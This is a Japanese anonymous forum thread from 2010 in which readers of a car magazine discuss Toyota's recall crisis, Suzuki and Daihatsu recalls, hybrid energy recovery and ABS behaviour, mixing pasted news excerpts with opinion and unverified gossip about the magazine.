中国国家品質監督検査検疫総局は５日、スズキの中国合弁会社である重慶長安鈴木汽車が同総局に、
中国で販売した新型アルトのリコール（回収・無償修理）を届け出たと発表した。
2009年７月６日〜10年１月17日に生産した１万326台が対象で、５日にリコールの受け付けを開始した。
溶接に問題があり、ガソリン濾過（ろか）器が外れる恐れがあるという。
長期間使用すると、濾過器につながった送油管にひびが入り、燃料漏れを引き起こす危険があるとしている。

太田ってのは信用できるのか？
毎回どの車も褒めてるが…

>300
> 太田ってのは信用できるのか？
> 毎回どの車も褒めてるが…

どの車でもうまく乗れる人だから、良いところも悪いところもあるのが普通だと思って評価する。

普通の自動車評論家はそういうインプレは書けないからな。

ダイハツの燃費偽装もツッコミが中途半端だったな

もう、安心して乗れる車なんてないね。
今乗ってる車が朽ち果てるまで乗ってるしかないか。

全ての車滅ぶべし。。。
は〜。なんか空しい。

《経済》　スズキ、２年連続で減収減益　四輪、二輪の販売減や円高響く
http://www.chunichi.co.jp/article/shizuoka/20100206/CK2010020602000192.html

>>270 和田氏はともかく、奥田は癌、元凶だろ！

誤爆orz s最期まで読まずごめんね。

>>295
20年前と現在じゃレベルが違いすぎる

大したネタでもないのに「スクープ」
ウイルス、不倫ネタとか自分たちに都合が悪い話はスルーで
クレームがこないようなネタだけ「上っ面批判」

>>303
トヨタばっかりが車じゃないぞ。


以前、何の総括だったか忘れたが、トヨタは傲慢になってきている、と書かれていたが、
今までの会見見てると納得したわ。
車は大したことないのは知ってたけど（プリウス除く）、お客様対応だけはきっちりする会社だと思ってた。

昔、煽られてアルテッツァに乗ってたけど、今のプリウスオーナーには心から同情する。

プリウスオーナーに同情？
う〜ん。オレにはただの間抜けにしか見えないが。
情報収集不足。自己責任。

>>308
何年か前にダイハツに出向してるトヨタの役員が
若いお客さんのことを「連中」呼ばわりしてただろ

今のトヨタは安い価格帯の車を買う人間のことを
客とは思ってない

エコノミーに乗る奴を客とは思ってなかったJALみたいなもん

商売とは残念ながらそんなもん

いや。20年前のトヨタはそんな商売はしてなかったよ。
カローラの一番安いのを買った客（父）もずっと大切にしてたよ。
当時のトヨタは尊敬できる部分も躍進する要素もあったと思うよ。

プリウス、60カ国で無償改修　トヨタ
http://www.nikkei.co.jp/news/main/20100207ATDD0601P06022010.html

失敗百選
三菱の失敗に学べ

JST失敗知識データベース > ランキング - 失敗百選

三菱自動車のリコール隠し
ttp://shippai.jst.go.jp/fkd/Detail?fn=0&id=CB0011010&

(PDF)
ttp://shippai.jst.go.jp/fkd/Detail?fn=2&id=CB0011010

トヨタは初代セルシオを出した頃で終った。
あとはむやみなコストダウンと他メーカーの後追い・パクリ企画ばかり。
優秀な技術者なんかもその昔はいたけど今は皆無だからな。

>>312
トヨタ本体と販売会社は別だろ

>>315
セルシオもＱ45の後追いじゃなかったか？
キャラクターは微妙に違うけど

トヨタが終わったのは、初代プリウス・背高ビスタ・初代ヴィッツあたりを出したあたりかな・・・・

それ以降、トヨタのエンジニアリングで見るべき物は何もない。
進んだのはコストダウンだけ。

>>316
まあ、別だけど。上手く言えないが、なんていうのかな。
トヨタからディーラーまで、お客様第一の一貫した雰囲気があった。
故障しても壊れた部品をすぐに交換して、直し直し大切に使う感じ。
なんというか、安心感や信頼感がトヨタにもディーラーに対してもあった。
絶対におかしなことはしないだろうっていう感じかな。今は全くないが。
車の構造自体が変わっちゃったから、そんな古い昔話を持ち出すなよと
言われれば、まあ、確かにそうなんだが。

>>317
セルシオはベンツのマネなんだけど
なんとかしてベンツみたいないい車を造るぞっていう気概があって
開発した車なんだよな。
だからそれなりに良くできてるし、
今見てもエクステリアなんかは極端に古臭いって感じもないしね。

バブル弾けた後に出したカムリやビスタって
あからさまにコストダウンしたってのがわかるくらいだったから
バルブ弾けて経費削減みたいなことやり始めて
おかしくなったんだろうな。

89年10月発売のセルシオが、
同11月発売のQ45の後追いですか・・・

トヨタ、「ＳＡＩ」とレクサス「ＨＳ250ｈ」もリコールへ
http://www.nikkei.co.jp/news/sangyo/20100207AT3D0700407022010.html

オワタ

今月号か来月号で総括緊急特集やるのかな
トヨタ問題について

自動車部品の特集やったばっかなのにな

米トヨタ、対策済み車の販売再開　大規模リコール実施で
http://www.daily.co.jp/society/economics/2010/02/08/0002696757.shtml

トヨタ：新型プリウスのリコール、１０日にも発表
http://mainichi.jp/select/jiken/news/20100208k0000e020037000c.html

新型プリウスの下取り価格は三菱車レベルに
http://namidame.2ch.net/test/read.cgi/auto/1265524320/

【自動車】BMWとPSA、次世代4気筒エンジン共同開発で合意［10/02/03］
http://anchorage.2ch.net/test/read.cgi/bizplus/1265385809/

トヨタは嫌いだからどれだけ批判されようが構わないんだけど
じゃあ、日産やホンダはちゃんとお客を見た車作りをしているのか？
って問われると、残念ながらトヨタとあんまり変わらないだよな
トヨタに隠れて目立たないけど、実は日産の下請けへの圧力はトヨタ以上だし
トヨタを筆頭に日本の自動車会社全体が拝金主義みたいになっている気がする

じゃあ全車潰して車作りは韓国・中国に任せればって話だ。

【社会】 トヨタが大量リコールしたCTS社のアクセルペダル、ホンダ・日産・三菱の３社が採用するも不具合なしと表明
http://gimpo.2ch.net/test/read.cgi/wildplus/1265614448/

>>327
欧州はエンジンの開発をさかんにやってるなあ
小型車はハイブリッドの相性悪いんだから、ＶＷポロみたいにトランスミッション＆エンジンの効率化で勝負すべきなんだよ。
日本の交通事情ではＣＶＴに走るのは仕方ないとしても・・・・

【自動車】スズキが中国でリコール…新型「アルト」約1万台が対象［10/02/05］
http://anchorage.2ch.net/test/read.cgi/bizplus/1265642437/

>>331
小型車と言っても重量的が1ｔからあるんだから運動エネルギーの回生は有効かと。
相性悪いっていうのは開発の言い訳じゃね？　HVのタイプや考え方にもよる。

トヨタ自動車：企業情報 > トヨタ関連Webサイトリンク集
ttp://www2.toyota.co.jp/jp/link/index.html

>>333
運動エネルギーの回収って意味では回生ブレーキは有効だけど、
現状ではそれを回収するバッテリー＆動力補助用のモーター等、重量がな・・・・
大型車ではさほど問題にならないだろうけど、小型車のエンジンでは結構な負担だよ。

マツダのやってるアイドリングストップ機構などは良いと思うが

マツダやダイハツはハイブリ無しで30km/Lの車を市販予定。
でもコンパクトで25くらいのモード燃費だからインパクトないよな。
10・15じゃなくてJC08？で30km/Lいくなら革新的だけど。

結局、エネルギー保存の法則の前にはプリウスも電気自動車も無力

そんなに「回生」の効率がいなら電力会社は儲けまくるｗ

実際、電気会社がやってる回生というか電気の貯蔵は
「夜に水を汲み上げてダムを満たし、それを昼に放流する」
って、賽の河原みたいなことやってるからな。

揚水ダムって蓄電効率6〜7割らしいけど、自動車エンジンの熱効率やハイブリの回生効率に比べたら神だよな。
安易なダム建設には反対だけど仮に揚水ダムを1億kW分作れば、
自動車の燃費改善しなくてもCO2排出削減目標は余裕でクリアできるだろうよ。
ついでに真夏の電力不足も解消。

個人でダム造れるなら、深夜電力と昼間電力の価格差で儲けたいくらいだ。

とどのつまり、原発の出力がコントロールしにくくて夜の電力余るから、揚水発電なんて無駄なモノが必要な訳で。

電気の場合充電効率が悪く熱としてもロスするからなあ。
機械的なロスだけの方か回生率良かったりして。
ブレーキでバネを巻いたりおもりを持ち上げたりしておいて加速時に使うとか。
でも、これじゃあ金取れないからダメかｗ

>>341
水力は出力変動しやすいし、変動幅も大きいから、
風力や太陽光などの気象変動の大きい発電方法のバランサーとして最適。
揚水なら余剰電力を吸い上げて電力供給平滑化も出来るからさらに効果的。
原子力のようにあらかじめ計算できる発電方法のペアに使うだけなのはもったいない。
もっとクリーンソースだが汚い電力を生かすためにこそ揚水が必要。
じゃなきゃ、地熱や潮力や海流の発電を増やすしかないがこれはかなり難しい。

>>342
圧縮空気に貯める回生とかフライホイールに貯める回生とかアイデアはあるな。
貯めるには軽く小さく効率的でいいが、吐き出すときに出力を制御し難いんじゃないか。
モーター乗っけるなら電気が楽なんだろう。

エネルギー保存の法則で努力は熱になって飛んでしまうｗ

考えてみよう、あれほどでかいエンジンで加速したエネルギーが
タイヤホイルに収まる小さなブレーキで加速より短時間で加速したエネルギーを熱にして飛ばしてしまう

そこはビールマンスピンの要領で。

同友会代表幹事、トヨタリコール問題「日本企業は反面教師に」
http://www.nikkei.co.jp/news/keizai/20100210ATFL0905709022010.html

>>320
バブル期のカムリプロミネント
ウィンダムよりカッコよかったが１代で廃止
あの頃は兄弟車の弊害はあったが車自体は実走で作りこんでる感じはあったな

ここの雑誌、ブログで車に関係ない記事を書きまくっている
山形浩生は盗作ライター
ネットでバーチャルアイドルが書いていた法律知識を
リサーチなくそのまま朝日新聞にコラムで書く。
後で法律家が「その解釈は違う。勉強不足」と書いたが、
山形は検証することもなく放置。
裁判で負けて謝罪文載せろと判決が出た時、渋々謝罪。

ブログでウイルスばらまいて隠蔽した件で
不倫編集長が
何か弱み握られたんだろ

よくこんないかがわしい連中に
個人情報、クレジット情報を流す人が
いるよな

>>344
>>345
>>346
まあ、どう考えても運動エネルギーを回収して、保存して、出力に使う過程の
全体の回収率が80%も90%いくわけないでしょうね。
だから、10/15モード（JC08）燃費と同時に60km定速走行燃費も出してもらわんと
HVの10/15モード燃費はなんだか胡散臭いよね。
10/15モードが60km走行燃費に近かったり、それ以上になったりするなら、
これはバッテリー走行分を上乗せしてることになりかねない。

そりゃバッテリーフル充電ならモーターだけでモード走行は走り切れてしまうんだから、
モード走行スペシャルプログラムを仕込んでおけば燃料はアイドリング分しか消費し
ないでしょ。

発売当初はエネルギー保存の法則を超越したと不遜な妄想をしたメーカー

エネルギー保存の法則があるからエネルギーの回生ができるわけだが

ただ効率が落ちるのみ

>>71と>>73が眩しすぎるw

新型「パッソ」発表会　トヨタが中止

　トヨタ自動車は１０日、１５日に予定していた新型「パッソ」の発表会を中止すると発表した。
新型「プリウス」などのリコール（回収・無償修理）問題で“自粛”したとみられる。

当日は「女子大学の開校式さながらに式典を行う」などの趣向をこらし、都内で華やかに発表会を開く予定だった。

トヨタによると、発売は予定通り行う。同社はすでにホームページのトップに「お詫び」を掲げるなど、自粛ムードを強めている。

　パッソは女性を中心に人気の小型車で、２００４年に初めて発売された。
トヨタが子会社のダイハツ工業と共同開発し、ダイハツの「ブーン」とは姉妹車に当たる。
０９年の年間販売台数は約９万３０００台で、前年比で３５．５％増と販売は好調だった。
リコールが新車のＰＲにも影響を与えた形だ。

SankeiBiz
http://www.sankeibiz.jp/business/news/100211/bsa1002110505003-n1.htm

【自動車】スズキが中国でリコール…新型「アルト」約1万台が対象［10/02/05］
http://anchorage.2ch.net/test/read.cgi/bizplus/1265642437/

【自動車】トヨタ、新型「パッソ」発売　発表会自粛、リコールの影響心配［10/02/15］
http://anchorage.2ch.net/test/read.cgi/bizplus/1266218075/

今年に入って迷惑メールが急増したんだけど

このブログが個人情報漏らしてんじゃない？

トヨタみたく社長きちんとが謝罪するとか

こいつらに都合の悪い話は触れない体質
余罪も多すぎて・・・

トヨタの社長が立派に見える
トヨタを叩く資格は無し

＞トヨタの社長が立派に見える

ヨタオタｗ
トヨタは欠陥車で人を殺してるからｗ

トヨタの社長　★★★★

Ｘブログ　★

ボルボのディーラーがここと同じように個人情報漏らした時は
気が狂ったように毎月批判し続けてたよな
弱いところに対しててだけとことん強気

今月号は、さすがに嬉々として、総力でトヨタ叩き大特集やると思ってるんだがｗ

ここのところ、ヨタオタが消えてたけど、また復活してきたなｗ

愛知県民か社員じゃないのw　トヨタなんてオタクが好きになる要素ゼロじゃんw

>>369
もしくは、トヨタ車オーナーだろうなｗ

プリウス騒ぎが起こって以来、スレから一斉に消えていたからなｗ
分かりやすいｗ

まあ、どっちにしてもただの間抜けだな。

俺のところも迷惑メール急増

ここの雑誌にスクープ情報提供した読者が
会社から訴えられたらしいけど
人の情報漏らしても、悪いとも思ってないんだろ。

それは情報提供者が悪い＾＾

>>372
＞ここの雑誌にスクープ情報提供した読者が
＞会社から訴えられたらしいけど
＞人の情報漏らしても、悪いとも思ってないんだろ。

アホ？
そりゃ情報提供した読者が間抜けなだけだｗ

どうせ新車情報はメーカーから裏ルートでもらってるよ。
その代わりスクープ情報を提供した個人がいれば会社へ通報。
チョット考えれば分かることだろうに。

総括なんかでくだらない批評をするくらいだったら
自分たちで車を作って売れば良いのに。
世界でトヨタを超えるベストセラーになるはずだ。
なぜ、それをしないのか？

【USA】 高速走行時に車の向きが予想外に左右に変わるトヨタ「カローラ」の電動パワステで米当局、正式に調査へ
http://gimpo.2ch.net/test/read.cgi/wildplus/1266472865/

リコールとなった「プリウス」のメカニズム

ttp://jbpress.ismedia.jp/articles/-/2806

キーワード【 トヨタ 自動車 販売 吉林 総括 生産 スズキ 】

>>375のような核心をついた
中の人にとって都合が悪い書き込みがあると、
直後に>>376のようなコピペが貼られる不思議w

でもトヨタの下請けが全部造反して新しいメーカー作ったらいいのになと考えた
事があるのは俺だけじゃないはずだ。

まあね。トヨタは車作りに直接関わってない無能な社員・管理職が多すぎ。
この機会に不要なな3/4程度の無駄メシ食いを切らないと、もたないだろう。

>>375
＞自分たちで車を作って売れば良いのに｡
それ、典型的な馬鹿の逆ギレですからw

トヨタクラスの車メーカー立ち上げるって、何兆円あっても足りんわ。

総括メンバーって、事情通やショップ社長の部外者は置いておくとしても
大なり小なり車開発に関わってきたメンバーなんだよね？どんな立派な車の
開発に関係してきたか、知りたいと思うんだけど、データ出てた？
まあ、実際ライターが適当に書いてるだけで、実在しないのかもしれないけど・・・。

実在するわけないじゃん。
例の、3列シート誤認記事では、
一人が言い出したことに誰も突っ込みを入れてなかったしｗ

>384
> まあ、実際ライターが適当に書いてるだけで、実在しないのかもしれないけど・・・。

牧野氏が一人で書いてるって、ボンバーがバラしてた。

内情バラスとは盆か神だ〜。
総括記事全部盆に任せたら良いんじゃね？
売れるかどうかは別として。

ただし、牧野氏って、走行性能関係は門外漢だと思うんだよね。
国政さんがからんでるのではないかと思うのだけど。

偏らないように、車の評判については森氏に意見聞いてるみたいだけどね
デザインは千葉匠氏だね

ちなみに前澤氏のデザインの好みが最近分かってきたw
千葉氏との評価の違いが面白い

なんだかんだって、前澤氏はシンプル＆プロポーション命なんだよな・・・

>>388
走行関係については国政氏
メカニズムについては畑村氏
デザインについては千葉氏
それに森氏の話を加えて、牧野氏が座談会形式に纏めているみたいね

だからボンバーが言ってるのは、半分正解ってとこだな〜

>>387
無理だろw

382さん

375です。逆ギレの意味が分からないんですが。
作れないんだったら余計な事は言わない方が良いですよ。
批判だけなら幼稚園児でも出来ます。ただそれだけの事。

383さん
「トヨタクラスの車メーカー立ち上げるって、何兆円あっても足りんわ。」

トヨタを超えるメーカーになるんだから、どこの銀行でも融資してくれますよ。
国内が無理なら中国にでも行ってみれば。確実に儲かる話に乗らない
投資家は居ないと思いますよ。
あくまで評論家の人が集まって本当に車が出来るのなら、ですが。

>>390
モーターファンイラストレーテッドのメンバーじゃねーか!w

総括は、匿名なのをいいことにボロカス言ってるのがなぁ…(特に国産車)
総括では、DCT、ガソリン直噴(＋過給機)エンジン、ターボディーゼルマンセーしてるけど、
コストってのを全く勘案していないように見える。

>>390
凡懐かしいなｗ
モローはいないの？

>>391
読者に｢この漫画つまんね〜｣と言われて、
｢だったらお前が書けよ！｣と逆ギレする人にそっくりだよねw

感情的になるのは、反論する言葉や知識がない事の証明
知識があるヤツは、んなことは言わない

>>394
今はいないだろな
最近の総括は車内空間について、言及が少なくなった。

>>393
市街地走行メインの軽自動車〜小型車については、DCTよりCVTの方が向いてると思うね
それも日本に限った話じゃなくて

欧州のガソリン直噴やターボの流行を、結果的に実践しつつあるのは軽自動車だな
これが一部小型車に波及しても良いとは思うがね

【インタビュー】トヨタが米国民を怒らせた本当の理由を語ろう--米著名自動車コンサルタントのマリアン・ケラー氏［10/02/15］
http://anchorage.2ch.net/test/read.cgi/bizplus/1266201625/

>>393
モーターファンに千葉匠氏は参加してないでしょ
デザインについてときどき書いてるのは荒川氏と・・・あと名前忘れたけどもう一人別の人

昔々のようにスクープがんばれ

値段がどんどん高くなってるな。立ち読みだから関係ないけど。

395さん
391です。関係者の方なのか、当たり前の事を言われて怒っちゃたみたいだけど。
こちらにはキレる理由がありません。
「批判だけなら幼稚園児でも出来ます。」って笑っているだけです。
本当に楽しめる車を庶民が買える値段で出してくれるのなら大歓迎ですよ。

399さんのように
「昔々のようにスクープがんばれ 」って言う意見もありますが
本当にカーメーカーが隠しておきたい情報を隠れて撮影するのは
女子トイレの盗撮と同じレベルの話ですよ。
どちらも、本人が公にされたくない事を無断で撮影しているんですからね。

個人情報漏洩ブログ　
　　＋
やらせスクープ
　　＋
１人座談会
　　↓
　廃　刊

トヨ様を正当に叩くのを止めたから面白くなくなっただってえの。
思い切り、思った通り、真実をズバっと切る。
それができなくなったからXはつまらない。

結局、トヨ様はご覧の通り。
誰の言ってたことが正しいか、お前ら言ってみろ。
ん？

【社会】「早く火消しを」トヨタのリコール問題、系列会社が危機感
http://tsushima.2ch.net/test/read.cgi/newsplus/1266622589/

確かに与太車やプリウスの評価に関しては盆が正しかったのかもね。
この際、一度思い切って、総括とか何チャラ本舗とか全部任せてみれば？
どうせこのままでは、廃刊しかないんだろうし。

ていうかこのままじゃ自動車雑誌自体が２誌ぐらいしか残らないと思う。

キーワード【 自動車 トヨタ VW 販売 吉林 リコール ダイハツ 】

自分達に都合がいいように
情報漏えい、情報捏造雑誌は
廃刊したほうがいい。

週刊朝日の事でしょうか？

親会社トヨタの影響？

自動車8社の1月世界生産、前年減産の反動で7社が大幅増
http://jp.reuters.com/article/topNews/idJPJAPAN-14022520100223

ダイハツ工業(7262)は国内生産が１５．９％と１月として過去最大の下落率となり、世界生産も２カ月連続でマイナスだった。

【社会】「強欲すぎたトヨタよ、恥を知れ」公聴会で涙の訴え
http://tsushima.2ch.net/test/read.cgi/newsplus/1266965735/

「強欲すぎた★★★-★よ、恥を知れ」

リコールとなった「プリウス」のメカニズム
http://jbpress.ismedia.jp/articles/-/2806

ほぼ同意。

トヨタ、07年のリコールで1億ドル超のコスト節減＝内部文書

トヨタ自動車の内部文書によると、同社は、
比較的安価なフロアマットのリコールにより、
米規制当局にトヨタ車の急加速問題をめぐる
２００７年の調査を終了するよう説得することで
１億ドル超のコストを節減した。

２００９年７月にトヨタの米ワシントンのスタッフが
稲葉良睨・北米トヨタ自動車（ＴＭＡ）社長向けに準備した報告書と
みられるこの文書は、急加速の問題を「重要な」安全問題として挙げている。

２４日に予定される米下院監督・政府改革委員会公聴会への豊田章男社長の出席に先立ち、
同委員会に提出された機密文書の写しをロイターが入手した。

トヨタの関係者からのコメントは今のところ得られていない。

トヨタは過去数カ月にわたり、アクセルペダルの不具合やフロアマットの問題などで
意図しない急加速が起きる恐れがあるとして、世界で８５０万台超をリコールしたが、
２００９年８月の自動車衝突事故以前は、
急加速問題に関するの苦情への対応を
「カムリ」と「レクサスＥＳ３５０」の５万５０００件の
フロアマットのリコールにとどめていた。

２００９年７月のトヨタの文書は「好ましいリコールの結果」を
トヨタの米政府へのロビー活動の主な成果で、
「トヨタに有利な安全規則の制定」と指摘。
推定約１億２４００万ドルのコスト節減につながったとしている。

http://jp.reuters.com/article/businessNews/idJPJAPAN-13993220100222

トヨタ　リコール　米大陪審が召喚状　刑事責任追及を視野

トヨタ自動車は２２日、米ニューヨーク州南部連邦地方裁判所の連邦大陪審から、
大規模リコール（回収・無償修理）の原因となったアクセル不具合やハイブリッド車（ＨＶ）新型「プリウス」のブレーキなどについての書類提出を求める召喚状を受け取ったと発表した。
大陪審がリコール問題で召喚状を出すのは極めて異例で、トヨタの刑事責任が追及される可能性が出てきた。

http://headlines.yahoo.co.jp/hl?a=20100223-00000057-san-bus_all


ヨタ工作員さん、大変だよｗ

“恐怖の体験者”涙の訴え「トヨタよ、恥を知れ」
http://tsushima.2ch.net/test/read.cgi/news/1266971589/

日本経済新聞
スズキのインド子会社、10万台リコール 燃料タンクに不具合
http://www.nikkei.co.jp/news/sangyo/20100223ATDD230EN23022010.html

>>406
盆バーにやらせるのは？だけど
中の人アイデアもセンスも枯れ果てて
ワンパターンでつまんないよ。

スタッフ総とっかえしたほうが
売れる雑誌になるだろうね。

うん、うん。別にオレが全ページ書いてやっても良いんだぞ。
トヨタがもうダメだとオレが予言した理由は何か。
プリウスは似非エコカーというのがどう言う意味だったのか。
誰のおかげで今ミラーサイクルが復活したのか。独壇場だなｗ
おバカなおまえらにも、ちゃんと分かるように教えてやろうじゃないの。

各社実績の詳細

　トヨタ自動車(株)（以下、トヨタ)は、
１月のトヨタ、ダイハツ工業(株)(以下、ダイハツ)及び
日野自動車(株) （以下、日野)の生産、国内販売、輸出の実績を下記のとおり発表した。

＜トヨタ・ダイハツ＞
ttp://www2.toyota.co.jp/jp/news/10/02/nt10_0203.html

トヨタ：防戦一方　販売社長「技術者でないので」

トヨタ自動車の大規模リコール問題で、２３日に開かれた米下院エネルギー・商業委員会の公聴会では
冒頭でトヨタ車の急加速を体験した女性が涙ながらに証言すると、
トヨタを非難する流れが一気に強まり、米国トヨタ自動車販売のレンツ社長は、
議員らの厳しい追及に終始、防戦に追われた。

「なぜ苦情のあった自動車を回収して不調の原因を究明しなかったのか」。
「いちいち日本の本社からの指示を仰がないといけないのか」。
議員側からは、トヨタの対応を非難する声が続出した。
公聴会の直前、急加速につながる欠陥は電子制御スロットルシステムで見つかっていないと
強調していたレンツ社長だったが、
質疑では「技術者ではないので詳しいことは分からない」と苦しい答弁を繰り返した。

また、「あなたには権限はないのか。責任の所在はどこにあるんだ」、
「トヨタの品質管理はこの程度のものなのか」など、
トヨタの組織体制そのものを疑問視する意見や質問もあり、
２４日に公聴会に出席する豊田章男社長への風当たりの強さを予感させた。

安全性に関する専門家として出席した、南イリノイ大のギルバート教授（自動車技術）は、
ＥＴＣＳの回路の不具合などでアクセルペダルから誤った信号がエンジンに送られれば、
「安全システムが機能しない状況がありうる」と証言。
急加速の原因について、ＥＴＣＳを徹底的に調べるべきだとの見解を示した。

（抜粋）
http://mainichi.jp/select/biz/news/20100224k0000e020053000c.html

>>409
ぶっちゃけ、MAG-Xより先にトヨタがお父さんしそうです＞＜

まあ万が一そんな事があったらさすがに国が全力で支えるだろ
消費税を20％くらいにしても

不良品メーカーは潰した方が日本製品のイメージダウンにならなくて良い

こ、これは。盆にペケの存続を託すしかないのか。。。
与太とどっちが先に逝くかって状況だな・・・

利益の７割を北米で稼ぎ出したのに、この失態ｗ

いくら国内マスコミを広告費ネタで押さえ込んでも、意味がないわなｗ

282 名無しさん (2010/02/24(水) 23:01:35 ID:OD9hDK9Lmk)
ちゃんと暴走する可能性が調べられてるじゃないか

またリンクだが

http://www.safetyresearch.net/Library/Preliminary_Report022110.pdf

このレポートの１２ページに可能性が載っている．
原因が考えられないといったトヨタは終わったな完璧に．

内容をまとめると次のようになる．
アクセル開度に比例した電圧を出力するセンサーが２つついていて
その電圧が食い違ったら故障と判断されるようになっている．
アクセルの角度に応じて同じ電圧が出力されれば故障していないと判定するわけだ．
トヨタはだから１つが壊れても検出可能だと言っているのだろう．
しかし，この２つの出力が何らかの理由でショートすることで
常に同じ電圧が出るようになったとすると
故障は検出できなくなり
仮に故障が発生するとエンジンの暴走につながってしまう．

このような故障を検出するためには
２つのセンサーの出力が常に異なる出力となるように
設計すべきであるとレポートでは提言している．
常にオフセットを持つとか，出力の倍率を変えるということだ．
そうすることでショートが検出できる．

ダイハツ工業（7262）　低燃費・低価格車時代での活躍を先取りした買いを継続。（シティグループ証券）
http://mainichi.jp/life/money/kabu/nsj/news/20100225199365.html

　トヨタの子会社であるためリコール問題を懸念する向きもあるが、日本での販売に支障が出てきているとは思えない。
米国では影響は出るかもしれないが、ダイハツは米国でのビジネスはないので関係ない。

【日本車オワタ】　リコール　スズキ４３万台、日産７万台、ダイハツ６万台
http://tsushima.2ch.net/test/read.cgi/news/1267084185/

Ｘの好きなメーカ総崩れ　

MAG-Xのブログがウイルス感染していたのを

隠蔽していた件は、いつ総括するのか？

ゲバルトによりパージ（Purge）いたします

>>430
何というか、リコール出さないメーカーの方が信用できない感じになってきたがw

>>430
ダイハツは最近糞味噌に書いてるだろｗ

ま、いくらここで頑張っても、トヨタのリコール１千万台には敵いませんからｗ

【トヨタ問題】「原因はトヨタが反一族の金儲け主義の海賊連中に乗っ取られたこと」−元北米トップ[10/02/25]
http://tsushima.2ch.net/test/read.cgi/newsplus/1267104542/

http://www.afpbb.com/article/economy/2701135/5392928
>新車の「レクサスES 350」で高速道路に合流したところで、スミスさんは突然、時速70マイル（約113キロ）から100マイル(約160キロ)への不可解な急加速を体験した。
>必死でサイドブレーキをかけ、ギアをバックに入れたが、速度は下がることなく車は高速道路を疾走した。
>短距離無線通信規格のブルートゥース（Bluetooth）搭載の携帯電話で、夫に電話をかけたという。
>夫へ電話をかけたとき、「神の力が介在し」、車はすこしずつ減速して停止したという。

これ検証して欲しい

いや走行中にギヤバックに入れてもいいものなんか？

【トヨタ問題】「原因はトヨタが反一族の金儲け主義の海賊連中に乗っ取られたこと」−元北米トップ★２[10/02 /25]
http://tsushima.2ch.net/test/read.cgi/newsplus/1267141505/

走行中にバックギア入る車なんて、113キロから160キロに急加速するより絶対に怖い。

趣都の誕生―萌える都市アキハバラ (幻冬舎文庫) 森川 嘉一郎 (文庫 - 2008/12)
新品: ￥ 680
1 新品 ￥ 680より7 中古品 ￥ 229より

を買った。

【五輪】韓国が『２ちゃんねる』の801板を八百長と勘違いしてサイバーテロ攻撃！ ★2
http://tsushima.2ch.net/test/read.cgi/newsplus/1267194516/

今日仕事帰りに書店に寄ったら4月号出てた。トヨタの件はいろんな角度から検証されてたよ。
国内での暴走事故はマークＸジオが二件確認されてる、週刊文週に載ってた件が詳しく書かれていたよ。

いいことだ。

俺が以前乗ってたアルテッツァも、３万�q超えたあたりから加速がおかしかったからなぁ・・・

時速１２０�qあたりから、アクセルいくら踏んでもエンジンの回転が上がらないのｗ
無理矢理踏んだら、ガクガクガクと車体が振動するだけ。で、加速しない。

あれも確か電制スロットルっだったから、アメリカでの暴走騒ぎ聞いてもさもありなんだわなあｗ

今月の総括キタワァ（　＾ω＾）

今月号のアルトの総括
ロールの姿勢について指摘してたけどあれ俺の試乗した感想と一緒だわ
マジで今回のアルトは見た目、内装、室内空間はそこそこいいけど走りは最悪だわ
交差点で曲がるだけであの酷いロールは無いだろと思う

>446
スタビライザーとか後付け出来ないか？

>>446
アルトの足回り悪くしてるのって、価格の高いワゴンＲを売りつけるための戦略なんだろうな。
それならもうスイフトを買ったほうが税金は上がるけど満足度得られるよな。

>>447
そこまでして乗るような車じゃないと思うが

>>448
試乗後にワゴンＲも勧めてきたのは確かｗ
アルトは下道専用、法定速度+10までなら走りが破綻することはないとは思うけどね
あのロールはホントに実験ドライバーいるのか不安になったよ

トヨタ・リコール問題の総括は珍しくトヨタ擁護だったなｗ

>>450
アクセルペダルに関してはトヨタが悪いけれど、プリウスのABSに関しては
イチャモンだろって感じだったね。

テレビの論調がおかしいんだって。
ABSの件は、ブレーキを踏み直せばOKっていうのは
トヨタ系に限らずABSに携わってる人なら大体分かる。
報道はABS作動中に強く踏むとブレーキが効くみたいな言い方してて
凄く違和感があったんだけど。

レンタカーでプリウスは何度も乗ったが、ブレーキの気持ち悪さはあったけど
アクセルよりはマシだった。
どっちが違和感を感じるかと言ったら、ブレーキよりアクセルだったなあ。
一度だけマジでフロアマットにアクセルが引っかかったのはびっくりしたけど。

そんなのもあって、結局車はVWにしちまった。TSIとDSGの方がなんぼかまし。

ベストカーとマガジンＸとカーアンドドライバーを読んだ。
カーアンドドライバーはトヨタの事は全く関係無し。さすがだ。

ＮＡＶＩ最終号とベストカープラスも買います。

トヨタ出身のダイハツ社長、お客様を連中呼ばわり
http://namidame.2ch.net/test/read.cgi/sfe/1146077748/

【自動車】トヨタ、レクサスCT200hを発表…ニッケル水素バッテリーを搭載 [10/02/26]
http://anchorage.2ch.net/test/read.cgi/bizplus/1267260107/

>>452
ブレーキ踏みなおさなきゃいけないようなＡＢＳはいらないでしょｗ
結局トヨタもＡＢＳ作動中に約1秒ブレーキが抜けるっていう説明してたし

>>453
ざっと読んだ中では、プリウス関連については親方が一番ちゃんと解説してたなｗ

総括はプリウスについては誤報扱いしていたけど、アクセルペダルリコールに関しては同情の余地無しと
最後の張と渡辺は退陣汁！ってのは同意かな。

奥田と今の社長ばっか責められてるけど、
責任あるのは奥田の拡大主義だけ引き継いだ無能な張と、極端な下請けいじめ＆開発丸投げを黙認した渡辺だろ。

>>456
ちゃんと記事読んだ方が良いよ。
ABS作動した時の最高油圧をベースにしてABSは作動する事が書いてあるので
空走しないようにきちんとABSを効かせたければ、一度ブレーキを離してABS作動状態を
解除し、改めてブレーキを踏み直すことで最高油圧を再設定するって言うことが書いてある。

ABSのポンプは減圧用で増圧用じゃないからね。プリウスはVSC付きだから増圧もして
くれるはずだが。

知らないことは恥ずかしくないが、知らないことを棚に上げて訳の分からん発言は恥ずかしいよ。
雨降りの中、ブレーキ踏みながらマンホールを踏むと、同じような現象は体験出来る
ケースが多いよ。

パニックブレーキ時に一度ブレーキ離して踏み直しって素人には難しいと思うが

中国から見たトヨタのリコール「メイド・イン・ジャパンは地に落ちた」
http://news.searchina.ne.jp/disp.cgi?y=2010&d=0228&f=business_0228_010.shtml

　　トヨタ自動車 <7203> の大規模リコール（回収・無償修理）で余波が広がり続けるなか、
25日には日産 <7201>、スズキ <7269>、ダイハツ <7262> の3社も国土交通省にリコールを届け出た。

　　1月末にはホンダ <7267> もリコールを発表しており、中国では日本自動車メーカーの相次ぐリコールに対して「グローバルな規模で、
日本製造業に対する信頼が揺らいでいる」と報じられている。

　　新華社通信が行った調査では、日本自動車メーカーの相次ぐリコールに対し、中国の消費者たちのトヨタをはじめとする日本自動車メーカー
